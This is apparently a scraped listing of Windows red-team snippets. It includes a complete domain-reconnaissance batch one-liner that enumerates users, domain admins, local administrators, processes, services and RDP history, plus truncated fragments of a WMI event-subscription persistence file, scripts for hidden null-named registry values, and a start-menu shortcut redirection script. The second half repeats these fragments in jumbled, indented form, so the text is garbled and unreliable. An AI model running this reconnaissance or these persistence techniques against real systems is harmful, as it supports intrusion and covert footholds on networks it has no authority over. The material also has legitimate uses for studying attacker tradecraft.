Kyle Hanslovan KyleHanslovan

## DomainEnumeration.bat
whoami & hostname & ipconfig /all & net user /domain 2>&1 & net group /domain 2>&1 & net group "domain admins" /domain 2>&1 & net group "Exchange Trusted Subsystem" /domain 2>&1 & net accounts /domain 2>&1 & net user 2>&1 & net localgroup administrators 2>&1 & netstat -an 2>&1 & tasklist 2>&1 & sc query 2>&1 & systeminfo 2>&1 & reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" 2>&1

## WMIPersistence.mof
/*
Author: Kyle Hanslovan
Contact: @KyleHanslovan
License: MIT
Date: 07/18/2014
*/

#PRAGMA NAMESPACE ("\\\\.\\root\\subscription")

instance of ActiveScriptEventConsumer as $Consumer

## DeleteNullRegValue.py
from ctypes import *
from ctypes.wintypes import *
import winreg


NTSTATUS = c_long
PVOID = c_void_p
PWSTR = c_wchar_p

OBJ_CASE_INSENSITIVE = 0x00000040

## CreateNullRegValue.py
from ctypes import *
from ctypes.wintypes import *
import winreg


NTSTATUS = c_long
PVOID = c_void_p
PWSTR = c_wchar_p

OBJ_CASE_INSENSITIVE = 0x00000040

## StartMenuRedirection.py
import os
import sys

import pythoncom
from win32com.shell import shell, shellcon


def create_shortcut(dest_path, target_path):
    """
    """
	/*
	Author: Kyle Hanslovan
	Contact: @KyleHanslovan
	License: MIT
	Date: 07/18/2014
	*/

	#PRAGMA NAMESPACE ("\\\\.\\root\\subscription")

	instance of ActiveScriptEventConsumer as $Consumer
	from ctypes import *
	from ctypes.wintypes import *
	import winreg


	NTSTATUS = c_long
	PVOID = c_void_p
	PWSTR = c_wchar_p

	OBJ_CASE_INSENSITIVE = 0x00000040
	import os
	import sys

	import pythoncom
	from win32com.shell import shell, shellcon


	def create_shortcut(dest_path, target_path):
	"""
	"""